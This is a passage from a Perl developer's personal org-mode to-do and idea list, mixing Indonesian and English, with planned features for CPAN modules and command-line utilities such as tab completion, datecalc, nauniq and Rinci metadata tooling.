arguments hash_module/hash_method/hash_sub\nFor doing custom hashing instead of Digest::MD5.\n** TODO [2015-01-03 Sat] tracepm: 'use' arg not yet respected if 'method' =~ /prereqscanner/\n** TODO [2015-01-03 Sat] tracepm: Add option to silent STDOUT and/or STDERR output of script?\n** TODO [2015-01-03 Sat] smtpstatus: Add implementation-specific codes (from Sendmail, qmail, Postfix, Exim, Spanel)\n** TODO [2015-01-03 Sat] smtpstatus: Formatting\nUse --format=text-pretty by default for interactive, set description's\ntable_column_orders (after summary, not before) and table_column_formats ([[wrap\n=> {columns=>40}]]).\n** TODO [2015-01-03 Sat] setop: Add option --record-separator\n** TODO [2015-01-03 Sat] riap-app: Configurable prompt\n** TODO [2015-01-03 Sat] riap-app: RIAP_HISTSIZE\nAnd also probably RIAP_HISTFILESIZE, RIAP_HISTIGNORE, RIAP_HISTTIMEFORMAT.\n** TODO [2015-01-03 Sat] riap-app: Something like PATH? [#C]\n** TODO [2015-01-03 Sat] relpath: Option to set pwd.\n** TODO [2015-01-03 Sat] relpath: Option to actually check the existence of files.\n** TODO [2015-01-03 Sat] pretty-res: Autodetect input format.\n** TODO [2015-01-03 Sat] nauniq: Add option: --record-separator\n** TODO [2015-01-03 Sat] nauniq: Support more C<uniq> options: --skip-fields (-f), --zero-terminated (-z).\n** TODO [2015-01-03 Sat] nauniq: Allow specifying memory limit?\nUsing Tie::Cache's MaxBytes option.\n** IDEA [2015-01-03 Sat] nauniq: Add debugging option: print memory usage at the end of run\n** IDEA [2015-01-03 Sat] nauniq: Add debugging option: print whenever forget pattern matches\n** TODO [2015-01-03 Sat] chart: Non-text (e.g. HTML, JPG/PNG) charts\n** TODO [2015-01-03 Sat] plutils: pluse: extend detection capability\nCurrently very limited, only detects:\n: use BARE::WORD;\n: require BARE::WORD;\nshould perhaps be extended to detect:\n: require \"Foo/Bar.pm\";\n: load(\"Foo\"); # Module::Load\n: load_class(\"Foo\"); # Class::Load\n** TODO [2015-01-03 Sat] pretty: Pass formatting option to formatter modules.\n** TODO [2015-01-03 Sat] pretty: Autodetect input format.\n** TODO [2015-01-03 Sat] datecalc: tab completion\n** TODO [2015-01-03 Sat] datecalc: Support more special date literals: {last,next} {week,month,year,...}, etc.\n** IDEA [2015-01-03 Sat] datecalc: Variable assignment?\n** IDEA [2015-01-03 Sat] datecalc: Command to print calendar? For convenience.\n** IDEA [2015-01-03 Sat] datecalc: Load holiday data, add command to print holidays?\n** IDEA [2015-01-03 Sat] datecalc: Default format to color a date with green/red/yellow on whether it's a working date, a Sunday/holiday, or a joint-leave day.\n** IDEA [2015-01-03 Sat] execif: exec-if-env: Specify multiple envs with boolean logic?\nExample:\n: ENV1|ENV2|ENV3\n: ENV1 & (ENV2 | ENV3) & !ENV4\n** TODO [2015-01-03 Sat] fsql: Allow customizable CSV separator and quoting character.\n** IDEA [2015-01-02 Fri] gurat: (or new module): design/ideas for the flexible logger (dynamically/dring-run set of log level, etc)\n- implement as a Log::Any::Adapter, for simplicity, let's say\n  Log::Any::Adapter::FlexiLog which handles logging to screen, file, etc (it has\n  its own dispatcher).\n- on each output, we consult a sqlite database to find out\n  general/per-package/per-function logging levels, outputs, etc.\n- for first step, sqlite database contains these table: package (seen packages\n  during run; columns: name, level), function (seen functions during run;\n  columns: name, package, level), and setting (to set general log level,\n  outputs, toggle showing of timestamps, toggle showing of package/func name,\n  toggle tracing function?, etc)\n- later a web-based/GUI/etc customizer can be written to set values in sqlite\n  database which will immediately take effect the next log statement during\n  program run.\n- we create a cli wrapper for simpler run, e.g. flogrun/logged/flexilogged:\n\n: % flexilogged -- yourapp --your app args\n: [*] Using ~/yourapp.flexilog.db\n: [*] Setting general log level to trace\n: [*] Running your app: [\"/usr/bin/perl\", \"-MLog::Any::Adapter::FlexiLog\", \"~/yourapp\", \"--your\", \"app\", \"args\"]\n: Blah blah\n: Log message2\n: [*] Setting log level of function 'Pkg::func' to off\n: [*] Setting show_package_prefix to on\n: [Pkg::func2] blah\n: [Pkg::func3] More log message\n: [*] Setting show_timestamp to on\n: [3.221][Pkg2::func] blah\n\n** TODO [2015-01-02 Fri] ubunturel: add field: perlver [#C]\n- this depends on the data from gudangdata though\n** TODO [2015-01-02 Fri] listdebrel: switch data source to gudangdata? to be more consistent with Ubuntu::Releases [#C]\n** IDEA [2015-01-02 Fri] perl module: Complete::File\n- maybe pindahkan Complete::Util::complete_file ke sini (tapi tetap provide stub\n  di computil utk tidak break backward compat)\n- provide more options/shortcuts, e.g. hanya provide archive saja (dan tipe\n  archive tertentu), compressed file saja, images saja, videos saja, audio saja,\n  dsb.\n** DONE [2014-12-31 Wed] dari todolist org ini, generate TODO.md [#C]\n- dari contoh ini:\n: ** TODO [2014-12-30 Tue] fname-compressed: add more compressor types and programs\n: bla bla bla\n- mungkin hasilnya (strip tanggal, strip TODO keyword, jadikan first level, dan\n  strip nama pendek dist; indent content):\n: * add more compressor types and programs\n:   bla bla bla\n- ref:\n  + posting NEILB soal ide TODO.md\n- log ::\n  + [2015-01-03 ] done, ada skrip command-line list-dist-todos, ada juga dzil\n    plugin.\n** TODO [2014-12-30 Tue] fname-compressed: add more compressor types and programs\n** TODO [2014-12-30 Tue] fname-archive: add more archive types and programs\n** TODO [2015-01-01 Kam] fname-compressed: support recurse option\n** TODO [2015-01-01 Kam] fname-archive: support recurse option\n- use recurse option from fname-compressed\n- support interleaved, e.g. foo.zip.gz.rar\n** IDEA [2014-12-26 Fri] perl module: dump browser history dan search history (seperti script grep-search-query-in-url dan dump-firefox-history)\n** IDEA [2015-01-25 Min] perl module: list installed software/browser installation\n- related to dumping browser history, we ned to know first if there is a browser\n  installation, and which/how many. for example in my home dir i have opera,\n  also firefox (vs iceweasel?), and chrome. but for chrome, dumping history is\n  not yet supported.\n** IDEA [2014-12-15 Mon] dzilutils: list-dzil-plugins: tambahkan opsi --detail utk tampilkan role dari tiap plugin\n** IDEA [2014-12-15 Mon] dzilutils: list-dzil-roles: add opsi --detail utk menampilkan plugin mana aja yg pake sebuah role\n** IDEA [2014-12-15 Mon] wordlist: implement opsi -U, -L, -I (pake lcpan or later Complete::CPAN utk provide completion)\n** IDEA [2014-12-15 Mon] ekstrak rutin list cpan modules ke Complete::CPAN\n- selain pake XPAN (kelemahannya adalah lambat di awal), bisa juga pake cara\n  lain\n** IDEA [2014-12-15 Mon] wrapper minicpan utk update juga database sqlite\n- sehingga xpan gak perlu create & recreate every time cache expires\n** IDEA [2014-12-14 Sun] dzilutils, weaverutils: list plugins on cpan, install & uninstall\n- idenya sama seperti di wordlist, berbasiskan modul dengan namespace tertentu.\n- bisa juga diterapkan di ansitable colortheme/borderstyle modules.\n- mungkin fungsionalitas ini bisa diekstrak ke dalam role.\n- gunakan xpan!\n** IDEA [2014-12-14 Sun] pwp-ReorderSections: belum ada cara mudah utk reorder sections ya kayaknya\n- utk replacer sudah ada plugin-nya:\n- masalah lainnya adalah ga ada cara yg mudah seperti di dzil.ini utk modify a\n  bundle (filter: pake sebuah bundle, tapi remove a/b/c dan tambah d/e/f).\n** TODO [2014-12-12 Jum] ansitable: pod: lengkapi examples dengan sample output (gunakan DZP::InstallCodeResult) [#C]\n** TODO [2014-12-09 Tue] perl module: peris2bashcomp\n- sudah ada ada peris2fishcomp & peris2zshcomp, why not. apalagi setelah ada\n  optimasi return static list untuk avoid calling script terus\n** DONE IDEA [2014-12-07 Sun] perl module: Pod::Weaver::Section::Configuration (atau ::ConfigurationFile)\n- semua program yang berbasis pericmd & pericmd-lite by default support\n  configuration\n- kasih petunjuk configuration ada di mana, dsb.\n- mirip seperti yang kita lakukan utk\n  Pod::Weaver::Section::Completion::PerinciCmdLine.\n- log ::\n  + [2015-04-07 Tue] done, implemented in PWP:Rinci so no new module\n** IDEA [2014-12-05 Fri] perl module: Carp::Always::More\n- selain stack trace, juga include extra information seperti open file handle\n  (ini nanti kodenya di module lain, misalnya kita override open() [dan\n  sysopen?] utk keep track of open filehandles, tapi hati2x dengan dangling\n  references [jadikan weak] dan trap juga close() buat cleanup. atau cara lain\n  dengan ngecek /proc/PID/fd/ juga bisa.\n- kenapa pengen ngecek open file handle, karena kadang kita dapet info\n  file/fungsi/baris kode yang salah, tapi gak tau file apa yang sedang dibuka\n  oleh fungsi tersebut.\n** IDEA [2014-12-04 Thu] genbashcomp: alternatif lebih mudah daripada Getopt::Long::Complete\n- kita tambahin direktif mis:\n\nmasih belum decide gimana exact syntax-nya, biar fleksibel dan precise tanpa\nparsing sendiri\n\n# OPT: --flag\n# OPT: --file=s, -f    complete: file(*.exe) | dir\n# OPT: --module=s      complete: perlmod(namespace=Foo)\n# OPT: --dist=s        complete: perldist\n# OPT: --url=s, -u     complete: riap_url\n# ARG: complete: perlmod\n\n# ARG: complete: perlmod\n\n- program parse its own options (dengan Getopt::Long, whatever)\n** IDEA [2014-12-04 Kam] perl script: print all installed dists, and their versions?\n** IDEA [2014-12-04 Kam] perl script: print all installed modules, and their versions?\n** IDEA [2014-12-04 Kam] fun: dari Dist::Util's list_dists(), cari nama author CPAN-nya dan bikin statistik, author yg mana yg plaing banyak\n- biar cepet, bisa pake xpan-query against local cpan instead of metacpan API.\n** IDEA [2014-12-04 Kam] fun: distutil: list_dists() -> utk tiap dist, hitung jumlah line of code (+line of POD), statistik terhadap author, author mana yg paling banyak based on line of code\n- hitung line of code pake apa ya?\n** IDEA [2014-12-04 Kam] perl module: App::joyperl? joy?\n- my opinionated CLI tools for perl development\n- my motto: everything should be a single command-line away\n- ~/joy.conf -> isinya local cpan ada di mana (default to /cpan or on\n  windows=...), local darkpans ada di mana aja, cpan mirrors ada di mana aja\n- dari kumpulan skrip gw aja\n- tool utk update semua perl module dari local cpan: update-all-perl-modules-from-local-cpan\n- tool utk update semua perl module dari local cpan + darkpan: update-all-perl-modules-from-local-cpan-and-darkpans\n- tool utk update semua perl module dari cpan mirror: update-all-perl-modules-from-cpan\n- (unwritten yet) find-cpan-module? (or list?)\n- (unwritten yet) find-cpan-dist?\n- release-perl-dist\n- cleanup-pause-homedir? (ini kan udah ada dari?)\n** IDEA [2014-12-01 Mon] perl module: parse POD and generate completion\n** IDEA [2014-11-30 Sun] perl module: Complete::Module::XXX (name? Project?) - complete dengan nama module yang dipake di sebuah project\n- biar cepet, search dengan regex aja (atau pake Compiler::Lexer), ada limit\n  batas waktu atau jumlah file, ada caching.\n** IDEA [2014-11-29 Sab] perl module: Complete::Package::Debian\n- complete package\n- ada pilihan installed package atau search di repos\n** IDEA [2014-11-29 Sab] perl module: Complete::Package::FreeBSD [#C]\n- complete package\n- ada pilihan installed package atau search di repos\n** IDEA [2014-11-29 Sab] perl module: Complete::Package::Ubuntu [#C]\n- complete package\n- ada pilihan installed package atau search di repos\n** IDEA [2014-11-29 Sab] perl module: Complete::Package::LinuxMint [#C]\n- complete package\n- ada pilihan installed package atau search di repos\n** IDEA [2014-11-29 Sab] perl module: Complete::Perl (name? sebab udah ada Complete::Module)\n- complete perl builtins\n- complete perl functions in a certain package\n- complete perl variables or other stuffs in a certain package\n- complete open filehandles?\n** DONE IDEA [2014-11-28 Fri] ri: summary.alt.{plural,singular,singplural}\n- sama seperti pasangan summary.alt.{pos,neg,posneg}\n- opsi --arrayofstr (mis: --file) menggunakan summary singular.\n  --arrayofstr-json menggunakan summary plural (atau summary aja, jika gak ada).\n- log ::\n  + [2014-12-02 Sel] implemented in defhash & peris2cliospec as ~*.alt.numnoun.~.\n  + [2015-04-02 Thu] rename as ~*.alt.plurality.{plural,singular}~\n** IDEA [2014-11-23 Sun] perl module: App-TcshCompletionProg [#C]\n** IDEA [2014-11-23 Sun] combine App-{Bash,Tcsh}CompletionProg\n** IDEA [2014-11-22 Sab] ri: per-arg examples [#C]\ncontoh:\n: exclude_dist => {\n:     summary => 'Exclude all modules of a dist',\n:     schema => ['array*' => of => 'str*'],\n:     examples => [\n:         # bisa pake argv atau args, seperti function's examples:\n:         {\n:             argv => [qw/--exclude-dist Foo::Bar --exclude-dist Baz-Qux/],\n:             summary => 'Blah',\n:         },\n:         # bisa juga cuma specify value\n:         {\n:             value => ['Foo::Bar', 'Baz-Qux'],\n:             summary => 'Blah',\n:         },\n:     ],\n: }\n\nnanti yang value bisa disediakan untuk --exclude-dist juga utk\n--exclude-dist-json.\n** IDEA [2014-11-22 Sab] perl module: Perinci-Sub-Examples-Format-{CLI,Perl}\n- format examples in 'examples' property. yang -CLI bisa dipake utk ditaruh di\n  script's POD (bagian Synopsis maupun bagian Options saat menjelaskan opsi\n  tertentu).\n- yang -Perl bisa dipake di module's POD.\n- bisa juga dipake di dzp-ri-test ya utk test examples.\n** IDEA [2014-11-22 Sab] pwp-ri: OPTIONS for script: show example for each arg\n- nah ini gw agak2x torn between naruh di function's examples atau di arg spec?\n- kalo user ingin naruh per-arg examples juga harusnya diperbolehkan.\n- perlu ada modul utk process/display examples, karena dipake juga selain di\n  POD, di pericmd --help.\n** IDEA [2014-11-22 Sab] pwp-ri: OPTIONS for script: show See <other_arg> from arg's links.\n** IDEA [2014-11-21 Fri] pericmd: --help: mark required option (*) with a red color [#C]\n** IDEA [2014-11-16 Sun] pericmd-lite: tutorial: how to show debugging (early)?\n: PERL5OPT=-MLog::Any::Adapter=ScreenColoredLevel,min_level,trace\n** IDEA [2014-11-14 Jum] pericmd: option to collect all unknown/unparsed command-line options and pass it to function e.g. in \$args{-cmdline_args}\n- harus shut up Getopt::Long's warning too\n- berguna misalnya kita ingin bikin program wrapper 'progls foo' (setara dengan\n  'ls `which foo`') kita bisa specify 'progls -la foo' dan nanti dipass sebagai\n  'ls -la `which foo`').\n** IDEA [2014-11-14 Jum] genbashcomp: parse pod or manpage\n- di section OPTIONS.\n- kalo ada yg kayak gini (contoh wget): '-i file', '--input-file=file' maka kita\n  bisa complete value adalah filename. '-t number' maka hanya complete dengan\n  number (periscomp sih udah bisa otomatis complete integer digit by digit, tapi\n  di sini kita perlu add similar routine for GetOptionsWithCompletion).\n** IDEA [2014-11-10 Mon] perl module: App::BashCompleter::prove\n** IDEA [2014-11-10 Mon] perl module: App::BashCompleter::perl\n** IDEA [2014-11-10 Mon] perl module: App::BashCompleter::perlbrew\n- ini harus support subcommands, e.g. 'perlbrew <tab>' itu daftar opsi umum dan\n  subcommand, 'perlbrew install <tab>' itu opsi subcommand install aja, dst.\n** IDEA [2014-11-10 Mon] perl module: App::BashCompleter::dzil (susah gak ya? karena dia dynamic)\n** IDEA [2014-11-10 Mon] perl module: App::BashCompleter::perldoc\n** IDEA [2014-11-10 Mon] perl module: App::BashCompleter::cpan [#C]\n** IDEA [2014-11-01 Sat] ri, periga-argv, pericmd: suppress accepting --foo-json/--foo-yaml even though arg is array etc\ncontoh, gw ingin accept file sebagai --file F1 --file F2 saja, gak mau user bisa\n--file-json '[\"F1\",\"F2\"]'. terutama utk array of simple scalar, gw hanya ingin\nitu.\n\ntentu saja kita bisa matikan per_arg_json, per_arg_yaml. mungkin perlu ada\nper-arg optionnya. dan belum ada cara utk specify ini dari pericmd.\n** IDEA [2014-03-29 Sab] perisgen-acctbl: provide cmdline_aliases for --detail (or other generated args)\ni often find myself typing 'list-perl-releases -l' like it was ls.\n\nsementara udah gw tambahin ad-hoc aja di list-perl-releases.\n** IDEA [2014-03-14 Fri] perl module: dux version of nauniq [#C]\n** IDEA [2014-03-14 Fri] perl module: dux version of uniq [#C]\n** IDEA [2014-03-04 Tue] cek startup overhead dari moose port ke bahasa lain seperti joose (js), reindeer (rb), moosex (rb)\n- kalo overhead di perl lebih gede, wah all the more worse!\n- [2014-03-04 Tue] pake lazyweb aja, gw tweet, siapa tau ada yg ngerespon :p\n** IDEA [2014-03-18 Tue] procgov: option to feed stdin to command\n** IDEA [2014-10-20 Sen] ddc: beri visual aid jumlah line jika line-nya banyak\n** IDEA [2014-04-04 Fri] nauniq, setop: add --record-separator for nauniq, setop, ...\n** IDEA [2014-04-04 Fri] pericmd, ri: how to specify default is dry_run?\n- so, to actually do stuffs, cmd --nodry-run, or func(-dry_run=>0).\n** IDEA [2014-10-17 Fri] iod: minta https://gist.github.com/espadrine/5028426 dan orang2x di https://news.ycombinator.com/item?id=5272634 utk mereview IOD\n- perlu buat round-trip parser dulu Config::IOD\n** IDEA [2014-10-11 Sab] module: Acme::MetaSyntactic untuk indonesia\napa ya? jarang liat\n\n- ini itu? (ini real words, gak boleh?)\n- nama2x indonesia? agus budi wati ...\n- nama2x sunda?\n- nama2x china?\n** IDEA [2014-10-07 Tue] module: Games::Word::Wordlist::Capital (daftar ibukota negara di dunia)\n** IDEA [2014-10-07 Tue] module: Games::Word::Wordlist::City (daftar kota2x besar/terkenal di dunia)\n** IDEA [2014-09-21 Sun] perisgen-acctbl: selain paging menggunakan result_start dan result_limit, bisa juga menggunakna result_max_id\nini adalah ID-based paging, tiddak berdasarkan resultset slicing (yang tidak\nefisien), contohnya dipakai di twitter.\n** IDEA [2014-09-21 Sun] ri: ideas for rinci async\n*** one idea\n- client calls with func(arg1=>1, arg2=>2, ..., -async => 1)\n- function return 502 (atau kode lain yg lebih spesifik) jika tidak mendukung\n  async.\n- jika function supports async, reutrn [202 (accepted), \"OK (async)\", undef,\n  {call_id=>...}].\n- referensi penggunaan status HTTP 202 memang utk async operation: http://100pulse.com/http-statuscode/202.jsp\n- user check result dengan call the same function with -async & -call_id.\n  isunya: argumen yang sama dikasihin lagi gak? pemborosan? harus validate lagi?\n- when function want to return some data: ...\n- when function want to notify that data has been used up: ...\n*** another idea\n- client call with -async => 1\n- function return 502 (atau kode lain yg lebih spesifik) jika tidak mendukung\n  async.\n- jika function supports async, reutrn [12x?, \"OK (async)\", undef, {promise=>...}]\n- nanti kita tinggal call promise object aja.\n- issue: ribet serialisasinya karena ada coderef dan object.\n*** [2015-01-18 Sun] yet another idea\nreturn streaming output, then call the coderef with arg 1 or something. the\ncoderef should return [\$can_read?, \$data].\n** TODO [2014-09-21 Sun] function-relational mapper: dari skema rdbms, generate functions\n- tiap tabel ada definisi tabledef-nya\n- hubungan antartabel (1-to-1, 1-to-many, many-to-many) didefinisikan di mana?\n- field (yang direturn dalam row/hash oleh fungsi) itu kalo gak contain value,\n  contain pointer/id ke field di tabel lain.\n- apakah delete sebuah entity berarti menghapus row dari tabel database, atau\n  memflag sebuah field is_deleted\n- cascade delete/update dilakukan oleh db, jadi gunakan db yang bisa melakukan\n  itu.\n- create: kolom mana aja yg required. sekalian add rows untuk child tables, mis:\n  create list di cpanlists sekaligus bisa set item2x dalam list.\n- baca2x DBIx::Class sebagai perbandingan\n** TODO [2014-09-11 Thu] perl module: Games::Word::TextTwist\n- 6 huruf random dikasih, kita harus nebak at least 1 kata 6 huruf, kalo gak\n  game over. jika iya maka move to the next level.\n  SOKERM -> SMOKER, MORE, SOME, ROE, ROES, ROSE, ...\n- yang masih perlu dicari adalah database kata.\n** TODO [2014-09-11 Thu] perl module: Games::Word::Wordlist::Unix (dari /usr/share/dict/words)\n** TODO [2014-09-11 Thu] perl module: Games::Word::Wordlist::OSPD (dari http://www.puzzlers.org/dokuwiki/doku.php?id=solving:wordlists:about:start) tapi license gak terlalu jelas\n** TODO [2014-09-11 Thu] perl module: Games::Word::Wordlist::* (dari http://www.puzzlers.org/dokuwiki/doku.php?id=solving:wordlists:about:start)\n** IDEA [2014-09-06 Sat] procgov: option utk time process\n- seperti unix utility 'time', tapi mungkin ada advanced options-nya. time cpu\n  sys/usr, beserta anak cucu, time secara berkala utk dapat graph.\n** TODO [2014-08-27 Wed] perl module: a simpler Language::Expr using Pegex, for use in Config::IOD\n- or perhaps even better, if it's simple enough, do like JSON::Decode::Regexp\n  does, using plain 5.010 regexp (without Regexp::Grammars), it's an order of\n  magnitude faster and an order of magnitude lighter in startup overhead.\n- log ::\n  + [2014-09-06 Sat] minggu lalu udah create Language::Expr::Tiny, menggunakan\n    pure regexp, tapi cheat yaitu menggunakan regex hanya utk validate subset\n    yang valid antara Expr dan perl, lalu menggunakan eval, karena build up data\n    structure di pure regexp itu a pain in the butt (makanya damian bikin\n    Regexp::Grammars). gw harus create yang proper yaitu pake Pegex.\n** IDEA [2014-08-24 Sun] \$DIST di tiap pod? [#C]\n- jarang perlu sih sebenernya, gw cenderung meh/no need.\n** TODO [2014-08-22 Fri] perl module: Parse::tzdata [#C]\n- sebenernya udah ada Time::Zoneinfo dll, coba cek dulu\n- intinya gw pengen punya cli 'list-timezones' yg bisa list timezones dan\n  filter/sort berdasarkan kode negara/offset/name/...\n- gudangdata? (btw dulu google juga host tzdata dalam bentuk XML, JSON, PHP,\n  tapi karena ada masalah legal jadi ditarik)\n- saat ini modul yg berhubungan dengan tzdata hanya Date::Manip::TZdata dan itu\n  untuk internal.\n- ada 2 format: binary dan text (source).\n- source ada di http://www.iana.org/time-zones\n- binary ada mis di paket debian tzdata, di /usr/share/zoneinfo/\n- intinya adalah utk tiap timezone ada deretan data: tanggal segini sampe segini\n  offsetnya sekian dan dst=false/true, dst.\n- fungsi yang gw inginkan: list-timezones (filter by country, by utc offset, ),\n  list-timezone-details (name?)\n- pengen bisa parse yang binary maupun yang text file, utamakan yang binary dulu\n  karena itu by default sudah terinstal di tiap komputer.\n** IDEA [2014-08-15 Fri] ri: cmdline: untuk fungsi yang return bool status false/true, ada opsi utk set exit code non-zero jika false\n: result => {\n:     schema => 'bool',\n: }\n\n:  % check-palindrome foo; # dan exit 1\n:  Not a palindrome\n:  % check-palindrome apa; # exit 0\n:  Palindrome\n\ninstead of:\n\n:  % check-palindrome foo; # exit 0, karena [200,\"OK\",0]\n:  0\n:  % check-palindrome apa; # exit 0, karena [200,\"OK\",1]\n:  1\n\nbisa juga di result metadata sih, tapi gw sedikit lebih prefer di function\nmetadata, mis:\n\n: x.perinci.cmdline.whatever => 1\n** IDEA [2014-08-15 Fri] ri: cmdline: result metadata prop: text to display instead of result\ncontoh, fungsi seperti check_palindrome() kalo dipake di perl baiknya return\nbool:\n\n:  check_palindrome(\"foo\"); # -> 0\n:  check_palindrome(\"apa\"); # -> 1\n\ntapi cmdline enaknya show nicer message and status kali ya (seperti grep, supaya\nskrip shell bisa do something accordingly)?\n\n:  % check-palindrome foo; # dan exit 1\n:  Not a palindrome\n:  % check-palindrome apa; # exit 0\n:  Palindrome\n\ninstead of:\n\n:  % check-palindrome foo; # exit 0, karena [200,\"OK\",0]\n:  0\n:  % check-palindrome apa; # exit 0, karena [200,\"OK\",1]\n:  1\n\ntadinya gw berpikir result metadata seperti ini:\n\n:  [200, \"OK\", \$is_palindrome, {\"cmdline.result\" => (\$is_palindrome ? \"Palindrome\" : \"Not a palindrome\")}]\n\nsementara kalo mau melakukan hal ini, bisa menggunakan \"cara manual\":\n\n:  if (\$args{-cmdline}) { # running under CLI\n:      return ...;\n:  } else {\n:      return ...;\n:  }\n** IDEA [2014-08-15 Fri] to prove concept of ri, try adding metadata to some existing modules that are written by other people\nand then provide a cli/api service for them\n\nbisa dilakukan from afar (without patching/pull request), e.g.:\n\n: use Foo::Bar;\n: \$Foo::Bar::SPEC{func} = { ... };\n\n** IDEA [2014-08-08 Jum] perl module: critic cpan module name\n- capitalization\n- length (terlalu panjang, terlalu pendek)\n- namespace yg mungkin salah (mis: Game:: vs Games::, Net:: otomatis langsung suggest perhaps WWW:: or WebService::?)\n- useless part, mis: API:: or ::API\n- adjective di awal mis: Perfect::Hash maybe Hash::Perfect?\n- existing modules (ada datanya di Module::CoreList dan 02packages.details.txt.gz)\n** IDEA [2014-08-08 Jum] game: word: ubah satu kata menjadi kata lain (mis: CORPS jadi PARTY dengan transform satu huruf satu huruf, mis: CORPS -> CORDS -> CARDS -> CARTS -> PARTS -> PARTY\n- di level yang rendah, kita kasih tau huruf2x yg terlibat, dan jumlah step-nya dikit.\n** IDEA [2014-08-07 Kam] perhaps a game can be made using tab completion?\n** IDEA [2014-08-06 Wed] bikin game text-based (mungkin salah satu dari game tgames/vgames yg gw buat zaman smp/sma dulu?)\n- btw gw nyari2x di internet gak ada (lah yaw :p). mestinya nanya ke temen2x\n  sma, masih ada yg punya gak (misalnya si paul, tapi nyebelin kali ya kalo\n  ternyata dia masih nyimpen proyek2x dia waktu smp, tapi proyek/game/file2 gw\n  dihapus).\n- udah ada 2 game lho yg dibuat dan pake modul gw Color::ANSI::Util: Games::2048\n  & Games::FrogJump.\n- gw bisa bikin hangman, atau game tebak2an kata, atau tes refleks, atau yang\n  ngurut2in, atau tetris (boring),\n- idea: package simple-reflex-game as module\n- log ::\n  + [2014-08-07 Kam] bikin Games::ArrangeNumber\n  + [2014-08-07 Kam] bikin Games::WordGuess (port dari skrip smingoish gw), tapi\n    ini gak pake color\n** IDEA [2014-07-16 Wed] peri2doc: document Mo* classes [#C]\nperhaps put it inside attribute:\n\n has foo => (\n     summary => ...,\n );\n\nuntuk sementara patch agar kita bisa baca 'has'. atau bisa juga lewat:\n\n \$SPEC{':attr:foo'} = { ... }\n\n** IDEA [2014-07-18 Fri] dcstruct: implement Data::Check::Structure::XS, implement is_*() in XS, fungsi2x ini simpel dan bisa buat latihan XS [#C]\n** IDEA [2014-07-18 Fri] SHARYANTO::Role::ColorTheme: search superclasses for ColorTheme package prefix\n- see pericmd-any for more details\n** IDEA [2014-07-10 Thu] perl module: kebalikan text::{tabulardisplay,ansitable,asciitable,dll} yaitu parse text dan jadikan struktur table [#C]\n** TODO [2014-07-02 Wed] perl module: dzil plugin utk mengecek bin/ or script/ files have shebang #!perl and not #!/usr/bin/env perl [RT#96884]\n- jadi gak keganti dengan path to current perl when installing\n** TODO [2014-07-02 Wed] pericmd: opsi utk daemonize diri di akhir run, listen di unix socket riap::http\nuri (bisa diatur, default '/pericmd' masih belum mantep):\n/pericmd/list_subcommands ; gak bener2x perlu\n/pericmd/list_common_opts ; gak bener2x perlu\n/pericmd/run       argv=(client ngirim \@ARGV)\n/pericmd/complete  cmdline=(client ngirim COMP_LINE), point=(client ngirim COMP_POINT, hasilnya json)\n\n- package dan %SPEC digenerate dynamically\n- client adalah Perinci::CmdLine::Client, a very lightweight containing just\n  HTTP::Tiny::UNIX (and JSON + Complete::Bash utk completion).\n- kalo perlu (perlu!) formatting juga dilakukan di sisi server, klien sudah\n  menerima hasilnya saja.\n- tapi bagaimana dengan streaming interface?\n** TODO [2014-07-02 Wed] peri2doc: 2pod: di tiap fungsi, kasih keterangan fungsi ini diekspor atau tidak\nkarena gak semua fungsi diekspor (contoh di Complete::Bash). kita harus lihat\ndari \@EXPORT_OK, \@EXPORT (kalau pakai Exporter). support juga utk exporter lain\nke depannya.\n** IDEA [2014-07-02 Wed] perl module: Complete::DBI\n- complete table names, field names, row value, ...\n- diekstrak dari DBIx::FunctionalAPI\n** IDEA [2014-07-02 Wed] perl module: Complete::CPAN::Mini (name? Complete::CPAN::Local? Complete::CPAN::Packages?)\n- complete by parsing from 02packages.details.txt.gz, harusnya cuma 1-2 detik\n  kok, setelah itu kita cache.\n** IDEA [2014-07-02 Wed] perl module: Complete::CPAN\n- complete module name, dist name, author name, ...\n- log ::\n  + [2015-03-13 Fri] harus bikin service dulu, server mengambil data dari\n    database lcpan. sejauh ini soalnya gak ada service CPAN yang responnya\n    cepat, penting utk tab completion.\n** IDEA [2014-07-02 Wed] perl module: Complete::Debian\n- complete installed package name (deb), complete availbalbe package name (dari\n  apt-cache search),\n** IDEA [2014-06-29 Sun] perisgen-acctbl: di table spec, ada tabel yg by default gak dishow saat detail, mis karena terlalu panjang\ncontoh di App::ListSoftwareLicenses, fulltext gak dishow saat --detail tapi bisa\ndishow misalnya dengan (imagined, not yet implemented)\n--view-name=with_fulltext, atau bisa juga dnegan --with-FIELD_NAME (mirip\nseperti di Configure script ya). i prefer the second, soalnya yg former bisa\nkompleks.\n** IDEA [2014-06-27 Fri] pericmd: setelah selesai, launch a http daemon that listens on a unix socket, so future completion can become faster\nagar bener2x cepat, ini harus dilakukan sebelum load Perinci::CmdLine and all\nthat stuffs.\n** IDEA [2014-06-27 Fri] periscomp: complete_from_schema: completion for number with prefix, e.g. 30G/30T/30K/30M (lihat dari range min-max mana yg possible/most likely)\n** IDEA [2014-06-25 Wed] App::PMUtils (pmpath, pmdoc, pmless, ...): autocorrect/spelling correction [#C]\nproof of concept sekalian bisa mempermudah\n** IDEA [2014-06-20 Fri] create WWW::* wrapper for wrongly-placed Net::* modules [#C] (asli, ini mah gak ada kerjaan banget deh :p)\n** TODO [2014-06-12 Thu] orgp: parse statistics/progress cookies\nref: http://orgmode.org/manual/Checkboxes.html\n- ada 2 macam ([0/0] dan [0%])\n- bisa muncul di headline maupun di list item\n- bisa muncul lebih dari sekali, gak perlu spasi, bisa di mana aja)\n: * headline [/]\n: * headline [%]\n: * headline[0/2]\n: * [/]headline[19%]\n** IDEA [2014-06-06 Fri] perl module: extract {english,indo} number verbages from text\n- option to include fractions\n- option to recognize \"100 percent\", \"100%\"\n- can marpa do this btw, so we don't have to use marpa for this\n** IDEA [2014-06-06 Fri] perl module: download/sync RT issues (for a single queue/dist or for all)\n- as a backup mechanism, much like github is a backup for git repos.\n** IDEA [2014-06-06 Fri] perl module: list of Linux Mint releases\n** IDEA [2014-06-06 Fri] perl module: Date::Find or Date::Find::Callback [#C]\n(also as RT#96264 for Date-Extract)\n\nThis is just a note.\n\nRelated to my problem in RT#95998 of replacing date strings in text, one more\nproper way would be for the module to provide a callback interface for each\nfound string. Returning all found date strings works for now, but could\ntheoretically give false positives. Imagine the future version of the module\nthat can filter out false positive like:\n\n: tweet: i performed the song \"yesterday\" yesterday.\n\nThe module will only recognize the second \"yesterday\" as date, but if it returns\nthe original string, the regex substitution that I will perform later cannot\nknow which one is the real date.\n\nPerhaps this warrants a new module, since the interface is different and the\nname is no longer apt. Perhaps Date::Find or Date::Find::Callback?\n\n** IDEA 